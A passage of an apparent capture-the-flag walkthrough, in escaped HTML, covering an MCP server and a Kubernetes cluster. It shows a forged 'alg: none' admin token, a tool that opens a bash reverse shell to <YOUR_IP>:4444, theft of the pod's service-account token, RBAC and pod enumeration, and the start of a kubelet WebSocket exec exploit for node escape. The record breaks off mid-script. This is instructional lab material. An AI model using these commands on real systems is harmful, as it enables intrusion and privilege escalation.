curl -X POST http://&amp;lt;TARGET_IP&amp;gt;:30080/api/v1/tools &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
-H "Content-Type: application/json" &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
-d '{
  "name": "exploitnotes",
  "description": "evil",
  "code": "import os; os.system(&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="sh"&gt;bash -c '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="sh"&gt;'bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;YOUR_IP&amp;gt;/4444 0&amp;gt;&amp;amp;1'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="sh"&gt;)"
}'

# 2. Trigger the tool
curl -s http://&amp;lt;TARGET_IP&amp;gt;:30080/mcp &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
-H "Content-Type: application/json" &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
-d '{
  "jsonrpc": "2.0",
  "id": 9,
  "method": "tools/call",
  "params": {
    "name": "exploitnotes",
    "arguments": {}
  }
}' | jq
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x shell.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every time the shell dies, just run &lt;code&gt;./shell.sh&lt;/code&gt; from nightfall's session and catch the new connection. Also make sure to re-run &lt;code&gt;TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)&lt;/code&gt; at the start of each new pod session.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. Kubernetes Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Establishing context
&lt;/h3&gt;

&lt;p&gt;Every Kubernetes pod that runs with a service account gets a token at a predictable path. We grab it and check our environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mcp@mcp-server-54464cb475-29ztf:/app&lt;span class="nv"&gt;$ TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/run/secrets/kubernetes.io/serviceaccount/token&lt;span class="si"&gt;)&lt;/span&gt;

mcp@mcp-server-54464cb475-29ztf:/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;env&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; kubernetes
&lt;span class="nv"&gt;KUBERNETES_SERVICE_HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.43.0.1
&lt;span class="nv"&gt;KUBERNETES_PORT_443_TCP_PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;443
&lt;span class="nv"&gt;KUBERNETES_PORT_443_TCP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;tcp://10.43.0.1:443
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Kubernetes API server is at &lt;code&gt;10.43.0.1:443&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Checking our RBAC permissions
&lt;/h3&gt;

&lt;p&gt;Before trying operations blindly, we use &lt;code&gt;SelfSubjectRulesReview&lt;/code&gt; to discover what actions our service account is allowed to perform:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sk&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"resourceRules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"verbs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"create"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"selfsubjectaccessreviews"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"selfsubjectrulesreviews"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"verbs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"create"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"selfsubjectreviews"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"verbs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"get"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"apiGroups"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"nodes/proxy"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key permission: &lt;strong&gt;&lt;code&gt;GET nodes/proxy&lt;/code&gt;&lt;/strong&gt;. This means we can proxy requests &lt;em&gt;through&lt;/em&gt; the Kubernetes API server to the kubelet on a node - essentially a pass-through to the kubelet's own API. We cannot &lt;code&gt;list&lt;/code&gt; nodes or &lt;code&gt;create nodes/proxy&lt;/code&gt; (which is why &lt;code&gt;POST&lt;/code&gt; to exec via the API server is forbidden), but we &lt;em&gt;can&lt;/em&gt; &lt;code&gt;GET&lt;/code&gt; through the node proxy to read data from the kubelet.&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding the node name
&lt;/h3&gt;

&lt;p&gt;We can't list nodes directly (forbidden), so we need to find the node name another way. The node proxy URL format is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/api/v1/nodes/&amp;lt;node-name&amp;gt;/proxy/&amp;lt;kubelet-path&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We try common k3s default node names. The node name is often the hostname:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# fireflow is the machine hostname - try it&lt;/span&gt;
curl &lt;span class="nt"&gt;-sk&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"https://10.43.0.1:443/api/v1/nodes/fireflow/proxy/pods"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'"name"|"namespace"'&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"prometheus-prometheus-node-exporter-nmntq"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"namespace"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"monitoring"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"coredns-76c974cb66-cn7l6"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"namespace"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"kube-system"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mcp-server-54464cb475-29ztf"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"namespace"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"default"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"prometheus-server-867bb4fcfd-m4t59"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"namespace"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"monitoring"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;snipped&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The node name is &lt;strong&gt;&lt;code&gt;fireflow&lt;/code&gt;&lt;/strong&gt; - matching the machine hostname. The &lt;code&gt;/proxy/pods&lt;/code&gt; endpoint returns all pods running on the node, acting like a proxy to the kubelet's &lt;code&gt;/pods&lt;/code&gt; endpoint.&lt;/p&gt;

&lt;h3&gt;
  
  
  Identifying the escape target
&lt;/h3&gt;

&lt;p&gt;From the pod list, one pod immediately stands out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;prometheus-prometheus-node-exporter-nmntq (namespace: monitoring)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;node-exporter&lt;/code&gt; pod runs with &lt;code&gt;hostPID: true&lt;/code&gt;, &lt;code&gt;hostNetwork: true&lt;/code&gt;, and mounts the host filesystem at &lt;code&gt;/host/root&lt;/code&gt;. It runs as &lt;code&gt;uid=0&lt;/code&gt; (root). This is the escape target.&lt;/p&gt;

&lt;h3&gt;
  
  
  Attempting exec via the API server (blocked)
&lt;/h3&gt;

&lt;p&gt;First we try the standard approach - exec via the API server's node proxy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sk&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"https://10.43.0.1:443/api/v1/nodes/fireflow/proxy/run/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"cmd=id"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"nodes &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;fireflow&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; is forbidden: User &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;system:serviceaccount:default:mcp-sa&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; cannot create resource &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;nodes/proxy&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;..."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have GET on &lt;code&gt;nodes/proxy&lt;/code&gt; but not CREATE - and exec requires POST/CREATE. The API server path is blocked.&lt;/p&gt;

&lt;h3&gt;
  
  
  Attempting exec directly via kubelet (also blocked)
&lt;/h3&gt;

&lt;p&gt;We try hitting the kubelet directly on port 10250:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sk&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"https://&amp;lt;TARGET_IP&amp;gt;:10250/run/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"cmd=id"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Forbidden (user=system:serviceaccount:default:mcp-sa, verb=create, resource=nodes, subresource(s)=[proxy])
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Still blocked - the kubelet enforces the same RBAC. However, the kubelet's &lt;code&gt;/exec&lt;/code&gt; endpoint uses &lt;strong&gt;WebSockets&lt;/strong&gt; with a different verb pattern, not the HTTP &lt;code&gt;/run&lt;/code&gt; endpoint.&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Node Escape - Kubelet WebSocket Exec
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The big picture (plain English)
&lt;/h3&gt;

&lt;p&gt;Think of the Kubernetes cluster like a building with rooms (pods) and a security desk (the API server). Our service account badge (&lt;code&gt;mcp-sa&lt;/code&gt;) only lets us do certain things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We can &lt;strong&gt;look through the window&lt;/strong&gt; (&lt;code&gt;GET nodes/proxy&lt;/code&gt;) - read information from the node via the API server.&lt;/li&gt;
&lt;li&gt; We &lt;strong&gt;cannot open doors&lt;/strong&gt; (&lt;code&gt;CREATE nodes/proxy&lt;/code&gt;) - so the normal "exec into a container" path via the API server is blocked.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The API server is the guard at the front desk. When we tried running commands via the API server (&lt;code&gt;/api/v1/nodes/fireflow/proxy/run/...&lt;/code&gt;), the guard said "no" because we don't have the right badge level.&lt;/p&gt;

&lt;p&gt;But the kubelet (the agent running directly on the node) has its &lt;strong&gt;own door&lt;/strong&gt; - port 10250. The kubelet's &lt;code&gt;/exec&lt;/code&gt; endpoint uses WebSockets, not plain HTTP. When we connect directly to the kubelet's WebSocket endpoint and present our service account token, the kubelet checks our token against a different rule: it allows our token to open the WebSocket channel because &lt;code&gt;GET nodes/proxy&lt;/code&gt; is just enough to establish that connection. The kubelet never enforces the &lt;code&gt;create nodes/proxy&lt;/code&gt; restriction the same way the API server does for the HTTP exec path.&lt;/p&gt;

&lt;p&gt;In short: &lt;strong&gt;the API server blocked us from running commands, but the kubelet's WebSocket door was left open with our key.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Writing the exploit (evil.py)
&lt;/h3&gt;

&lt;p&gt;We first check that &lt;code&gt;websockets&lt;/code&gt; is available inside the pod:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mcp@mcp-server-54464cb475-29ztf:/app&lt;span class="nv"&gt;$ &lt;/span&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import websockets; print('ok')"&lt;/span&gt;
ok
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We write &lt;code&gt;evil.py&lt;/code&gt; - a WebSocket client that connects directly to the kubelet and runs a command inside the &lt;code&gt;node-exporter&lt;/code&gt; container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;evil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;websockets&lt;/span&gt;

&lt;span class="n"&gt;NODE&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;TARGET_IP&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;NE_NS&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;monitoring&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;NE_POD&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;prometheus-prometheus-node-exporter-nmntq&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;NE_CNT&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;node-exporter&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;TOKEN&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/var/run/secrets/kubernetes.io/serviceaccount/token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;COMMAND&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ws_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd_parts&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Skip TLS cert verification — kubelet uses a self-signed cert
&lt;/span&gt;    &lt;span class="n"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_default_context&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check_hostname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verify_mode&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CERT_NONE&lt;/span&gt;

    &lt;span class="c1"&gt;# Build the WebSocket URL: each command word is a separate "command=" param
&lt;/span&gt;    &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;amp;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;command=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cmd_parts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
